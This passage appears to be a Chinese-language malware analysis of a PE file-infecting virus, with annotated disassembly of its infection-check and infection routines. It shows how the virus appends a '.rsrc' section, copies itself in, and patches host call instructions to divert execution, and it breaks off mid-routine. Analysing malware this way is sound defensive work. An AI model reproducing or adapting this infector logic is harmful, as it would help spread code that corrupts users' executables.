最后看一下其感染pe文件的过程,感染exe的过程在00402124,程序首先会判断待感染程序是否已经被感染:
.text:00401FCE Check_Infect_Or_not proc near ; CODE XREF: infect_pe+124p
.text:00401FCE ; Infect_with_flag+153p ...
.text:00401FCE
.text:00401FCE Section_TABLE = S_PE_SECTION ptr -1B8h
.text:00401FCE PEHEADER = S_PE_HEADER ptr -190h
.text:00401FCE MZHeader = S_MZ_HEADER ptr -98h
.text:00401FCE First_0x50_bytes_of_every_section= byte ptr -58h
.text:00401FCE hfile = dword ptr -8
.text:00401FCE is_infected = dword ptr -4
.text:00401FCE arg_0_full_file_path= dword ptr 8
.text:00401FCE arg_4_patch_call_num= dword ptr 0Ch
.text:00401FCE
.text:00401FCE push ebp
.text:00401FCF mov ebp, esp
.text:00401FD1 add esp, 0FFFFFE48h
.text:00401FD7 push ebx
.text:00401FD8 push ecx
.text:00401FD9 push edx
.text:00401FDA push edi
.text:00401FDB push esi
.text:00401FDC mov [ebp+is_infected], 1
.text:00401FE3 mov eax, 0FFFFh
.text:00401FE8 and [ebp+arg_4_patch_call_num], eax
打开文件 判断是否是pe文件
.text:00401FEB push 0
.text:00401FED push 80h
.text:00401FF2 push 3
.text:00401FF4 push 0
.text:00401FF6 push 3
.text:00401FF8 push 80000000h
.text:00401FFD push [ebp+arg_0_full_file_path]
.text:00402000 ; nop code
.text:00402008 ; ---------------------------------------------------------------------------
.text:00402008 call CreateFileA
.text:0040200E cmp eax, 0FFFFFFFFh
.text:00402011 jz loc_402118
.text:00402017 mov [ebp+hfile], eax
.text:0040201A push 0
.text:0040201C push 40h
.text:0040201E lea eax, [ebp+MZHeader]
.text:00402024 push eax
.text:00402025 push [ebp+hfile]
.text:00402028 call Read_fILE
.text:0040202D test eax, eax
.text:0040202F jz @closehandle
.text:00402035 cmp word ptr [ebp+MZHeader.MZ_signature], 5A4Dh
.text:0040203E jnz @closehandle
.text:00402044 push [ebp+MZHeader.new_hdr_offset]
.text:00402047 push 0F8h
.text:0040204C lea eax, [ebp+PEHEADER]
.text:00402052 push eax
.text:00402053 push [ebp+hfile]
.text:00402056 call Read_fILE
.text:0040205B test eax, eax
.text:0040205D jz @closehandle
.text:00402063 cmp dword ptr [ebp+PEHEADER.PE_signature], 4550h
.text:0040206D jnz @closehandle
.text:00402073 xor ecx, ecx
.text:00402075 mov ebx, [ebp+MZHeader.new_hdr_offset]
.text:00402078 add ebx, 0F8h
节的数目不能大于0x10
.text:0040207E movzx ecx, [ebp+PEHEADER.number_of_Sections]
.text:00402085 cmp ecx, 10h
.text:00402088 ja short @closehandle
.text:0040208A mov [ebp+is_infected], 0
读取每个节的头0x50 个bytes 进行解密 检查
.text:00402091
.text:00402091 @loop_section_check: ; CODE XREF: Check_Infect_Or_not+130j
.text:00402091 test ecx, ecx
.text:00402093 jz short @closehandle
.text:00402095 push ebx
.text:00402096 push 28h
.text:00402098 lea eax, [ebp+Section_TABLE]
.text:0040209E push eax
.text:0040209F push [ebp+hfile]
.text:004020A2 call Read_fILE
.text:004020A7 test eax, eax
.text:004020A9 jz short @closehandle
.text:004020AB push [ebp+Section_TABLE.offset_in_file]
.text:004020B1 push 50h
.text:004020B3 lea eax, [ebp+First_0x50_bytes_of_every_section]
.text:004020B6 push eax
.text:004020B7 push [ebp+hfile]
.text:004020BA call Read_fILE
.text:004020BF test eax, eax
.text:004020C1 jz short @closehandle
.text:004020C3 lea edi, [ebp+First_0x50_bytes_of_every_section]
.text:004020C6 mov eax, [edi]
.text:004020C8 mov esi, 50h
.text:004020CD
.text:004020CD @decrypt_first_0x50_section: ; CODE XREF: Check_Infect_Or_not+10Bj
.text:004020CD test esi, esi
.text:004020CF jz short @check_infect_or_not
.text:004020D1 xor [edi], eax
.text:004020D3 sub esi, 4
.text:004020D6 add edi, 4
.text:004020D9 jmp short @decrypt_first_0x50_section
.text:004020DB ; ---------------------------------------------------------------------------
.text:004020DB
如果解密后的第二个dword = 0x77582588 说明已经被感染,继续检查,第三个dword 应该为0x1xxxx形式,
third_dword & 0xffff要大于等于传进来的要抽取多少个call的数量,否则的话也不会设定已经被感染
.text:004020DB @check_infect_or_not: ; CODE XREF: Check_Infect_Or_not+101j
.text:004020DB cmp dword ptr [ebp+First_0x50_bytes_of_every_section+4], 77582588h
.text:004020E2 jnz short @next_section
.text:004020E4 mov eax, dword ptr [ebp+First_0x50_bytes_of_every_section+8]
.text:004020E7 test eax, 10000h
.text:004020EC jnz short @already_infected
.text:004020EE and eax, 0FFFFh
.text:004020F3 cmp eax, [ebp+arg_4_patch_call_num]
.text:004020F6 jge short @already_infected
.text:004020F8 jmp short @closehandle
.text:004020FA ; ---------------------------------------------------------------------------
.text:004020FA
.text:004020FA @next_section: ; CODE XREF: Check_Infect_Or_not+114j
.text:004020FA add ebx, 28h
.text:004020FD dec ecx
.text:004020FE jmp short @loop_section_check
.text:00402100 ; ---------------------------------------------------------------------------
.text:00402100
.text:00402100 @already_infected: ; CODE XREF: Check_Infect_Or_not+11Ej
.text:00402100 ; Check_Infect_Or_not+128j
.text:00402100 mov [ebp+is_infected], 1
.text:00402107
.text:00402107 @closehandle: ; CODE XREF: Check_Infect_Or_not+61j
.text:00402107 ; Check_Infect_Or_not+70j ...
.text:00402107 push [ebp+hfile]
.text:0040210A ; nop code
.text:00402112 ; ---------------------------------------------------------------------------
.text:00402112 call CloseHandle
.text:00402118
.text:00402118 loc_402118: ; CODE XREF: Check_Infect_Or_not+43j
.text:00402118 mov eax, [ebp+is_infected]
.text:0040211B pop esi
.text:0040211C pop edi
.text:0040211D pop edx
.text:0040211E pop ecx
.text:0040211F pop ebx
.text:00402120 leave
.text:00402121 retn 8
感染过程,病毒作者应该没有考虑pe文件有overlay的情况,如果有overlay会被病毒代码直接复写掉:
.text:00402124 Infect_EXE_dll proc near ; CODE XREF: infect_known_file+82p
.text:00402124 ; Infect_with_flag+171p ...
.text:00402124
.text:00402124 Section = S_PE_SECTION ptr -30Ch
.text:00402124 PEHEADER = S_PE_HEADER ptr -2E4h
.text:00402124 MZHeader = S_MZ_HEADER ptr -1ECh
.text:00402124 First_0x64_bytes_of_every_section= byte ptr -1ACh
.text:00402124 patch_call_info = patch_call_info ptr -148h
.text:00402124 counter = dword ptr -48h
.text:00402124 alloc_address1 = dword ptr -44h
.text:00402124 Section.size_in_file= dword ptr -40h
.text:00402124 Section.offset_in_file= dword ptr -3Ch
.text:00402124 Section.relative_virtual_address= dword ptr -38h
.text:00402124 Section.size_in_file_chuyi_6= dword ptr -34h
.text:00402124 is_infected = dword ptr -30h
.text:00402124 sizeof_added_section_960a_file_aligment= dword ptr -2Ch
.text:00402124 filesize_mod_filealigment= dword ptr -28h
.text:00402124 oep = dword ptr -24h
.text:00402124 sizeof_alloc_address2= dword ptr -20h
.text:00402124 alloc_address2 = dword ptr -1Ch
.text:00402124 filesize = dword ptr -18h
.text:00402124 lase_section_table_end= dword ptr -14h
.text:00402124 filesize_file_aligment= dword ptr -10h
.text:00402124 sizeof_added_section_960a_image_aligment= dword ptr -0Ch
.text:00402124 rva_jia_vsize_of_lastsection_image_aligment= dword ptr -8
.text:00402124 hFile = dword ptr -4
.text:00402124 arg_0_file_to_be_infected= dword ptr 8
.text:00402124 arg_4_patch_call_num= dword ptr 0Ch
.text:00402124
.text:00402124 push ebp
.text:00402125 mov ebp, esp
.text:00402127 add esp, 0FFFFFCF4h
.text:0040212D push esi
.text:0040212E push edi
.text:0040212F push ecx
.text:00402130 push edx
.text:00402131 push ebx
.text:00402132 mov [ebp+is_infected], 0
.text:00402139 mov eax, 0FFFFh
.text:0040213E and [ebp+arg_4_patch_call_num], eax
打开文件判断是否是pe文件
.text:00402141 push 0 ; hTemplateFile
.text:00402143 push 80h ; dwFlagsAndAttributes
.text:00402148 push 3 ; dwCreationDisposition
.text:0040214A push 0 ; lpSecurityAttributes
.text:0040214C push 3 ; dwShareMode
.text:0040214E push 0C0000000h ; dwDesiredAccess
.text:00402153 push [ebp+arg_0_file_to_be_infected] ; lpFileName
.text:00402156 ; nop code
.text:0040215E call CreateFileA
.text:00402164 cmp eax, 0FFFFFFFFh
.text:00402167 jz @fail
.text:0040216D mov [ebp+hFile], eax
.text:00402170 push 0
.text:00402172 push 40h
.text:00402174 lea eax, [ebp+MZHeader]
.text:0040217A push eax
.text:0040217B push [ebp+hFile]
.text:0040217E call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:0040217E ; arg_4_outputbuffer= dword ptr 0Ch
.text:0040217E ; arg_8_read_size = dword ptr 10h
.text:0040217E ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:00402183 test eax, eax
.text:00402185 jz @closehandle
.text:0040218B cmp word ptr [ebp+MZHeader.MZ_signature], 5A4Dh
.text:00402194 jnz @closehandle
.text:0040219A push [ebp+MZHeader.new_hdr_offset]
.text:004021A0 push 0F8h
.text:004021A5 lea eax, [ebp+PEHEADER]
.text:004021AB push eax
.text:004021AC push [ebp+hFile]
.text:004021AF call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:004021AF ; arg_4_outputbuffer= dword ptr 0Ch
.text:004021AF ; arg_8_read_size = dword ptr 10h
.text:004021AF ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:004021B4 test eax, eax
.text:004021B6 jz @closehandle
.text:004021BC cmp dword ptr [ebp+PEHEADER.PE_signature], 4550h
.text:004021C6 jnz @closehandle
.text:004021CC xor ecx, ecx
.text:004021CE xor edx, edx
.text:004021D0 mov [ebp+Section.size_in_file], edx
.text:004021D3 mov ebx, [ebp+MZHeader.new_hdr_offset]
.text:004021D9 add ebx, 0F8h
节的数目不能大于0x10
.text:004021DF movzx ecx, [ebp+PEHEADER.number_of_Sections]
.text:004021E6 cmp ecx, 10h
.text:004021E9 ja @closehandle
判断是否已经被感染
.text:004021EF
.text:004021EF @check_infect_or_not: ; CODE XREF: Infect_EXE_dll+19Dj
.text:004021EF test ecx, ecx
.text:004021F1 jz loc_4022C6
.text:004021F7 push ebx
.text:004021F8 push 28h
.text:004021FA lea eax, [ebp+Section]
.text:00402200 push eax
.text:00402201 push [ebp+hFile]
.text:00402204 call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:00402204 ; arg_4_outputbuffer= dword ptr 0Ch
.text:00402204 ; arg_8_read_size = dword ptr 10h
.text:00402204 ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:00402209 test eax, eax
.text:0040220B jz @closehandle
.text:00402211 test [ebp+Section.flags], 20000000h
.text:0040221B jz short loc_40223E
.text:0040221D cmp [ebp+Section.size_in_file], 0
.text:00402221 jnz short loc_40223E
.text:00402223 mov eax, [ebp+Section.offset_in_file]
.text:00402229 mov [ebp+Section.offset_in_file], eax
.text:0040222C mov eax, [ebp+Section.size_in_file]
.text:00402232 mov [ebp+Section.size_in_file], eax
.text:00402235 mov eax, [ebp+Section.relative_virtual_address]
.text:0040223B mov [ebp+Section.relative_virtual_address], eax
.text:0040223E
.text:0040223E loc_40223E: ; CODE XREF: Infect_EXE_dll+F7j
.text:0040223E ; Infect_EXE_dll+FDj
.text:0040223E push dword ptr [ebp-2F8h]
.text:00402244 push 64h
.text:00402246 lea eax, [ebp+First_0x64_bytes_of_every_section]
.text:0040224C push eax
.text:0040224D push [ebp+hFile]
.text:00402250 call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:00402250 ; arg_4_outputbuffer= dword ptr 0Ch
.text:00402250 ; arg_8_read_size = dword ptr 10h
.text:00402250 ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:00402255 test eax, eax
.text:00402257 jz @closehandle
.text:0040225D lea edi, [ebp+First_0x64_bytes_of_every_section]
.text:00402263 mov eax, [edi]
.text:00402265 mov esi, 64h
.text:0040226A
.text:0040226A @decrypt_first_0x50_section: ; CODE XREF: Infect_EXE_dll+152j
.text:0040226A test esi, esi
.text:0040226C jz short @check_infection
.text:0040226E xor [edi], eax
.text:00402270 sub esi, 4
.text:00402273 add edi, 4
.text:00402276 jmp short @decrypt_first_0x50_section
.text:00402278 ; ---------------------------------------------------------------------------
.text:00402278
.text:00402278 @check_infection: ; CODE XREF: Infect_EXE_dll+148j
.text:00402278 cmp dword ptr [ebp+First_0x64_bytes_of_every_section+4], 77582588h
.text:00402282 jnz short loc_4022AB
.text:00402284 mov eax, dword ptr [ebp+First_0x64_bytes_of_every_section+8]
.text:0040228A test eax, 10000h
.text:0040228F jnz @already_infected
.text:00402295 and eax, 0FFFFh
.text:0040229A cmp eax, [ebp+arg_4_patch_call_num]
.text:0040229D jge @already_infected
.text:004022A3 mov [ebp+lase_section_table_end], ebx
.text:004022A6 jmp @patched_call_not_enough
.text:004022AB ; ---------------------------------------------------------------------------
.text:004022AB
.text:004022AB loc_4022AB: ; CODE XREF: Infect_EXE_dll+15Ej
.text:004022AB mov eax, [ebp+Section.relative_virtual_address]
.text:004022B1 add eax, [ebp+Section.virtual_size]
.text:004022B7 cmp eax, edx
.text:004022B9 jbe short loc_4022BD
.text:004022BB mov edx, eax
.text:004022BD
.text:004022BD loc_4022BD: ; CODE XREF: Infect_EXE_dll+195j
.text:004022BD add ebx, 28h
.text:004022C0 dec ecx
.text:004022C1 jmp @check_infect_or_not
.text:004022C6 ; ---------------------------------------------------------------------------
.text:004022C6
.text:004022C6 loc_4022C6: ; CODE XREF: Infect_EXE_dll+CDj
.text:004022C6 mov [ebp+rva_jia_vsize_of_lastsection_image_aligment], edx
.text:004022C9 mov [ebp+lase_section_table_end], ebx
.text:004022CC mov eax, [ebp+PEHEADER.entry_point_RVA]
.text:004022D2 mov [ebp+oep], eax
判断头部是否有足够的空间添加一个节表,并且有空间且空间必须全部为00
.text:004022D5 movzx ecx, [ebp+PEHEADER.number_of_Sections]
.text:004022DC mov eax, 28h
.text:004022E1 mul ecx
.text:004022E3 add eax, 0F8h
.text:004022E8 mov edx, [ebp+PEHEADER.size_of_header]
.text:004022EE sub edx, eax
.text:004022F0 cmp edx, 28h
.text:004022F3 jb @closehandle
.text:004022F9 push [ebp+lase_section_table_end]
.text:004022FC push 28h
.text:004022FE lea eax, [ebp+Section]
.text:00402304 push eax
.text:00402305 push [ebp+hFile]
.text:00402308 call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:00402308 ; arg_4_outputbuffer= dword ptr 0Ch
.text:00402308 ; arg_8_read_size = dword ptr 10h
.text:00402308 ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:0040230D test eax, eax
.text:0040230F jz @closehandle
.text:00402315 lea eax, [ebp+Section]
.text:0040231B mov ecx, 28h
.text:00402320
.text:00402320 @check_: ; CODE XREF: Infect_EXE_dll+20Bj
.text:00402320 test ecx, ecx
.text:00402322 jz short loc_402331
.text:00402324 cmp byte ptr [eax], 0
.text:00402327 jnz @closehandle
.text:0040232D inc eax
.text:0040232E dec ecx
.text:0040232F jmp short @check_
.text:00402331 ; ---------------------------------------------------------------------------
.text:00402331
.text:00402331 loc_402331: ; CODE XREF: Infect_EXE_dll+1FEj
.text:00402331 push 0 ; lpFileSizeHigh
.text:00402333 push [ebp+hFile] ; hFile
.text:00402336 ; nop code
.text:0040233E ; ---------------------------------------------------------------------------
.text:0040233E call GetFileSize
.text:00402344 cmp eax, 0FFFFFFFFh
.text:00402347 jz @closehandle
.text:0040234D mov [ebp+filesize], eax
.text:00402350 xor edx, edx
.text:00402352 mov eax, [ebp+rva_jia_vsize_of_lastsection_image_aligment]
.text:00402355 mov ecx, [ebp+PEHEADER.image_alignment]
.text:0040235B div ecx
.text:0040235D test edx, edx
.text:0040235F jz short loc_402366
.text:00402361 sub ecx, edx
.text:00402363 add [ebp+rva_jia_vsize_of_lastsection_image_aligment], ecx
.text:00402366
.text:00402366 loc_402366: ; CODE XREF: Infect_EXE_dll+23Bj
.text:00402366 xor edx, edx
.text:00402368 mov [ebp+filesize_mod_filealigment], edx
.text:0040236B mov eax, [ebp+filesize]
.text:0040236E mov [ebp+filesize_file_aligment], eax
.text:00402371 mov ecx, [ebp+PEHEADER.file_alignment]
.text:00402377 div ecx
.text:00402379 test edx, edx
.text:0040237B jz short loc_402385
.text:0040237D sub ecx, edx
.text:0040237F mov [ebp+filesize_mod_filealigment], ecx
.text:00402382 add [ebp+filesize_file_aligment], ecx
.text:00402385
.text:00402385 loc_402385: ; CODE XREF: Infect_EXE_dll+257j
.text:00402385 jmp short loc_4023F3
.text:00402387 ; ---------------------------------------------------------------------------
.text:00402387
.text:00402387 @patched_call_not_enough: ; CODE XREF: Infect_EXE_dll+182j
.text:00402387 mov edi, 14h
.text:0040238C
.text:0040238C loc_40238C: ; CODE XREF: Infect_EXE_dll+28Fj
.text:0040238C cmp edi, 54h
.text:0040238F jge short loc_4023B5
.text:00402391 mov ecx, dword ptr ss:[edi+ebp+First_0x64_bytes_of_every_section]
.text:00402399 test ecx, ecx
.text:0040239B jz short loc_4023B5
.text:0040239D push ecx
.text:0040239E push 4
.text:004023A0 lea eax, [edi+ebp+First_0x64_bytes_of_every_section+4]
.text:004023A7 push eax
.text:004023A8 push [ebp+hFile]
.text:004023AB call Write_File ; arg_0_hFile = dword ptr 8
.text:004023AB ; arg_4_inputbuffer= dword ptr 0Ch
.text:004023AB ; arg_8_wriesize = dword ptr 10h
.text:004023AB ; arg_c_offset_to_write_from_file_begin= dword ptr 14h
.text:004023B0 add edi, 8
.text:004023B3 jmp short loc_40238C
.text:004023B5 ; ---------------------------------------------------------------------------
.text:004023B5
.text:004023B5 loc_4023B5: ; CODE XREF: Infect_EXE_dll+26Bj
.text:004023B5 ; Infect_EXE_dll+277j
.text:004023B5 mov eax, dword ptr [ebp+First_0x64_bytes_of_every_section+0Ch]
.text:004023BB mov [ebp+oep], eax
.text:004023BE mov [ebp+PEHEADER.entry_point_RVA], eax
.text:004023C4 mov eax, [ebp+Section.relative_virtual_address]
.text:004023CA mov [ebp+rva_jia_vsize_of_lastsection_image_aligment], eax
.text:004023CD mov eax, [ebp+Section.offset_in_file]
.text:004023D3 mov [ebp+filesize_file_aligment], eax
.text:004023D6 mov [ebp+filesize], eax
.text:004023D9 mov [ebp+filesize_mod_filealigment], 0
.text:004023E0 mov eax, [ebp+Section.virtual_size]
.text:004023E6 sub [ebp+PEHEADER.size_of_image], eax
.text:004023EC dec [ebp+PEHEADER.number_of_Sections]
.text:004023F3
.text:004023F3 loc_4023F3: ; CODE XREF: Infect_EXE_dll:loc_402385j
.text:004023F3 xor eax, eax
.text:004023F5 mov [ebp+counter], eax
.text:004023F8 mov eax, [ebp+Section.size_in_file]
.text:004023FB test eax, eax
.text:004023FD jz @closehandle
.text:00402403 cmp eax, 6400000h
.text:00402408 ja @closehandle
.text:0040240E push eax ; dwBytes
.text:0040240F push 0 ; uFlags
.text:00402411 ; nop code
.text:00402419 ; ---------------------------------------------------------------------------
.text:00402419 call GlobalAlloc
.text:0040241F test eax, eax
.text:00402421 jz @closehandle
.text:00402427 mov [ebp+alloc_address1], eax
.text:0040242A push [ebp+Section.offset_in_file]
.text:0040242D push [ebp+Section.size_in_file]
.text:00402430 push [ebp+alloc_address1]
.text:00402433 push [ebp+hFile]
.text:00402436 call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:00402436 ; arg_4_outputbuffer= dword ptr 0Ch
.text:00402436 ; arg_8_read_size = dword ptr 10h
.text:00402436 ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:0040243B test eax, eax
.text:0040243D jnz short loc_402455
.text:0040243F push [ebp+alloc_address1] ; hMem
.text:00402442 ; nop code
.text:0040244A ; ---------------------------------------------------------------------------
.text:0040244A call GlobalFree
.text:00402450 jmp @closehandle
.text:00402455 ; ---------------------------------------------------------------------------
.text:00402455
.text:00402455 loc_402455: ; CODE XREF: Infect_EXE_dll+319j
.text:00402455 mov ecx, [ebp+Section.size_in_file]
.text:00402458 mov esi, [ebp+alloc_address1]
.text:0040245B mov [ebp+Section.size_in_file_chuyi_6], 6
.text:00402462 xor edx, edx
.text:00402464 mov eax, ecx
.text:00402466 div [ebp+Section.size_in_file_chuyi_6]
.text:00402469 mov [ebp+Section.size_in_file_chuyi_6], eax
从第一个节的开始搜索call指令,然后判断call指令的目的地址的指令是否是
push reg 或者mov edi,edi 或者sub ebp,xxx
如果满足条件的,则记录下call的相关信息,在下一个块内搜索,否则继续从下一个byte搜索
程序一共搜索了6个call 对有些程序可能不一定能够搜到6个call。
相关结构:
struct patch_call_info
{
+0 dword found_call_dest_address_rva call的目的地址的rva
+4 dword patched_call_fileoffset_jia_1 要patch的call的地址+1的文件偏移 43c
+8 dword patched_call_dword 要patch call的e8后面的dword
+c dword found_call_offset 要patchcall的后面的偏移 0xa33f8
}
.text:0040246C
.text:0040246C @found_patch_call: ; CODE XREF: Infect_EXE_dll+3FBj
.text:0040246C ; Infect_EXE_dll+402j
.text:0040246C cmp ecx, 0Ah
.text:0040246F jbe loc_40252B
.text:00402475 cmp byte ptr [esi], 0E8h
.text:00402478 jnz @not
.text:0040247E mov eax, esi
.text:00402480 sub eax, [ebp+alloc_address1]
.text:00402483 add eax, 5
.text:00402486 mov ebx, eax
.text:00402488 add eax, [esi+1]
.text:0040248B mov edx, [ebp+Section.size_in_file]
.text:0040248E sub edx, 4
.text:00402491 cmp eax, edx
.text:00402493 jnb @not
.text:00402499 add eax, [ebp+alloc_address1]
.text:0040249C mov edx, [eax]
.text:0040249E and edx, 0F8h
.text:004024A4 cmp edx, 50h
.text:004024A7 jz short @found
.text:004024A9 cmp word ptr [eax], 0EC83h
.text:004024AE jz short @found
.text:004024B0 cmp word ptr [eax], 0FF8Bh
.text:004024B4 jnz short @not
.text:004024B6
.text:004024B6 @found: ; CODE XREF: Infect_EXE_dll+383j
.text:004024B6 ; Infect_EXE_dll+38Aj
.text:004024B6 mov edi, [ebp+counter]
.text:004024B9 shl edi, 4
.text:004024BC sub eax, [ebp+alloc_address1]
.text:004024BF add eax, [ebp+Section.relative_virtual_address]
.text:004024C2 mov ss:[edi+ebp+patch_call_info.found_call_dest_address_rva], eax
.text:004024CA mov eax, ebx
.text:004024CC sub eax, 4
.text:004024CF add eax, [ebp+Section.offset_in_file]
.text:004024D2 mov ss:[edi+ebp+patch_call_info.patched_call_fileoffset_jia_1], eax
.text:004024DA mov eax, [ebp+counter]
.text:004024DD mov edx, 0Ah
.text:004024E2 mul edx
.text:004024E4 add eax, [ebp+rva_jia_vsize_of_lastsection_image_aligment]
.text:004024E7 add eax, 5EE3h
.text:004024EC add ebx, [ebp+Section.relative_virtual_address]
.text:004024EF sub eax, ebx
.text:004024F1 mov ss:[edi+ebp+patch_call_info.patched_call_dword], eax
.text:004024F9 mov eax, [esi+1]
.text:004024FC mov ss:[edi+ebp+patch_call_info.found_call_offset], eax
.text:00402504 inc [ebp+counter]
.text:00402507 cmp [ebp+counter], 6
.text:0040250B jz short loc_40252B
.text:0040250D mov eax, [ebp+counter]
.text:00402510 mov edx, [ebp+Section.size_in_file_chuyi_6]
.text:00402513 mul edx
.text:00402515 mov ecx, [ebp+Section.size_in_file]
.text:00402518 sub ecx, eax
.text:0040251A mov esi, [ebp+alloc_address1]
.text:0040251D add esi, eax
.text:0040251F jmp @found_patch_call
.text:00402524 ; ---------------------------------------------------------------------------
.text:00402524
.text:00402524 @not: ; CODE XREF: Infect_EXE_dll+354j
.text:00402524 ; Infect_EXE_dll+36Fj ...
.text:00402524 dec ecx
.text:00402525 inc esi
.text:00402526 jmp @found_patch_call
.text:0040252B ; ---------------------------------------------------------------------------
.text:0040252B
.text:0040252B loc_40252B: ; CODE XREF: Infect_EXE_dll+34Bj
.text:0040252B ; Infect_EXE_dll+3E7j
.text:0040252B push [ebp+alloc_address1] ; hMem
.text:0040252E ; nop code
.text:00402536 ; ---------------------------------------------------------------------------
.text:00402536 call GlobalFree
.text:0040253C cmp [ebp+counter], 0
.text:00402540 jz @closehandle
.text:00402546 xor edx, edx
.text:00402548 mov eax, 960Ah
.text:0040254D mov [ebp+sizeof_added_section_960a_file_aligment], eax
.text:00402550 mov ecx, [ebp+PEHEADER.file_alignment]
.text:00402556 div ecx
.text:00402558 test edx, edx
.text:0040255A jz short loc_402561
.text:0040255C sub ecx, edx
.text:0040255E add [ebp+sizeof_added_section_960a_file_aligment], ecx
.text:00402561
.text:00402561 loc_402561: ; CODE XREF: Infect_EXE_dll+436j
.text:00402561 xor edx, edx
更新pe头
.text:00402563 mov [ebp+sizeof_added_section_960a_image_aligment], 960Ah
.text:0040256A mov eax, [ebp+sizeof_added_section_960a_image_aligment]
.text:0040256D mov ecx, [ebp+PEHEADER.image_alignment]
.text:00402573 div ecx
.text:00402575 test edx, edx
.text:00402577 jz short loc_40257E
.text:00402579 sub ecx, edx
.text:0040257B add [ebp+sizeof_added_section_960a_image_aligment], ecx
.text:0040257E
.text:0040257E loc_40257E: ; CODE XREF: Infect_EXE_dll+453j
.text:0040257E inc [ebp+PEHEADER.number_of_Sections]
.text:00402585 mov [ebp+PEHEADER.bound_import_table_RVA], 0
.text:0040258F mov eax, [ebp+sizeof_added_section_960a_image_aligment]
.text:00402592 add [ebp+PEHEADER.size_of_image], eax
.text:00402598 push [ebp+MZHeader.new_hdr_offset]
.text:0040259E push 0F8h
.text:004025A3 lea eax, [ebp+PEHEADER]
.text:004025A9 push eax
.text:004025AA push [ebp+hFile]
.text:004025AD call Write_File ; arg_0_hFile = dword ptr 8
.text:004025AD ; arg_4_inputbuffer= dword ptr 0Ch
.text:004025AD ; arg_8_wriesize = dword ptr 10h
.text:004025AD ; arg_c_offset_to_write_from_file_begin= dword ptr 14h
跟新添加节的节表
.text:004025B2 mov eax, [ebp+rva_jia_vsize_of_lastsection_image_aligment]
.text:004025B5 mov [ebp+Section.relative_virtual_address], eax
.text:004025BB mov eax, [ebp+filesize_file_aligment]
.text:004025BE mov [ebp+Section.offset_in_file], eax
.text:004025C4 mov eax, [ebp+sizeof_added_section_960a_file_aligment]
.text:004025C7 mov [ebp+Section.size_in_file], eax
.text:004025CD mov eax, [ebp+sizeof_added_section_960a_image_aligment]
.text:004025D0 mov [ebp+Section.virtual_size], eax
.text:004025D6 mov [ebp+Section.flags], 0E00000E0h
.text:004025E0 mov dword ptr [ebp+Section.name], 7273722Eh
.text:004025EA mov dword ptr [ebp+Section.name+4], 63h
.text:004025F4 push [ebp+lase_section_table_end]
.text:004025F7 push 28h
.text:004025F9 lea eax, [ebp+Section]
.text:004025FF push eax
.text:00402600 push [ebp+hFile]
.text:00402603 call Write_File ; arg_0_hFile = dword ptr 8
.text:00402603 ; arg_4_inputbuffer= dword ptr 0Ch
.text:00402603 ; arg_8_wriesize = dword ptr 10h
.text:00402603 ; arg_c_offset_to_write_from_file_begin= dword ptr 14h
.text:00402608 mov ecx, [ebp+counter]
.text:0040260B xor edx, edx
修改第一个节的call的目的地址跳向添加节
.text:0040260D
.text:0040260D @patch_call_to_jmp_added_section: ; CODE XREF: Infect_EXE_dll+50Ej
.text:0040260D test ecx, ecx
.text:0040260F jz short loc_402634
.text:00402611 mov esi, edx
.text:00402613 shl esi, 4
.text:00402616 push ss:[esi+ebp+patch_call_info.patched_call_fileoffset_jia_1]
.text:0040261E push 4
.text:00402620 lea eax, [esi+ebp+patch_call_info.patched_call_dword]
.text:00402627 push eax
.text:00402628 push [ebp+hFile]
.text:0040262B call Write_File ; arg_0_hFile = dword ptr 8
.text:0040262B ; arg_4_inputbuffer= dword ptr 0Ch
.text:0040262B ; arg_8_wriesize = dword ptr 10h
.text:0040262B ; arg_c_offset_to_write_from_file_begin= dword ptr 14h
.text:00402630 dec ecx
.text:00402631 inc edx
.text:00402632 jmp short @patch_call_to_jmp_added_section
.text:00402634 ; ---------------------------------------------------------------------------
.text:00402634
.text:00402634 loc_402634: ; CODE XREF: Infect_EXE_dll+4EBj
.text:00402634 mov eax, [ebp+sizeof_added_section_960a_file_aligment]
.text:00402637 add eax, [ebp+filesize_mod_filealigment]
.text:0040263A mov [ebp+sizeof_alloc_address2], eax
.text:0040263D push eax ; dwBytes
.text:0040263E push 40h ; uFlags
.text:00402640 ; nop code
.text:00402648 ; ---------------------------------------------------------------------------
拷贝病毒体 并记录一些重要信息到添加节的开始处
.text:00402648 call GlobalAlloc
.text:0040264E test eax, eax
.text:00402650 jz @closehandle
.text:00402656 mov [ebp+alloc_address2], eax
.text:00402659 mov ecx, 960Ah
.text:0040265E mov edi, [ebp+alloc_address2]
.text:00402661 add edi, [ebp+filesize_mod_filealigment]
.text:00402664 ; nop code
.text:0040266B mov esi, offset dword_401000
.text:00402670 rep movsb ; 00401000 +filesize_mod_filealigment-> alloc_address2 +filesize_mod_filealigment 0x960a bytes
.text:00402672 mov ebx, [ebp+alloc_address2]
.text:00402675 add ebx, [ebp+filesize_mod_filealigment]
.text:00402678 mov edi, 77582588h
.text:0040267D mov [ebx+4], edi
.text:00402680 mov edi, [ebp+arg_4_patch_call_num]
.text:00402683 mov [ebx+8], edi
.text:00402686 mov eax, [ebp+oep]
.text:00402689 mov [ebx+0Ch], eax
.text:0040268C mov edi, ebx
.text:0040268E add edi, 5EDFh
.text:00402694 mov dword ptr [edi], 0
.text:0040269A xor edx, edx
修改添加节的代码使其跳向原始的代码
.text:0040269C
.text:0040269C @patch_call_in_addedsection_jmp_original_place:
.text:0040269C ; CODE XREF: Infect_EXE_dll+5CCj
.text:0040269C cmp edx, [ebp+counter]
.text:0040269F jz short loc_4026F2
.text:004026A1 mov esi, edx
.text:004026A3 shl esi, 4 ; esi = counter << 4
.text:004026A6 mov ecx, ss:[esi+ebp+patch_call_info.found_call_dest_address_rva]
.text:004026AE mov eax, 0Ah
.text:004026B3 mul dl
.text:004026B5 add eax, 5EE3h
.text:004026BA mov edi, eax
.text:004026BC add edi, 6 ; edi = counter * 0x0a + 5ee3 + 6
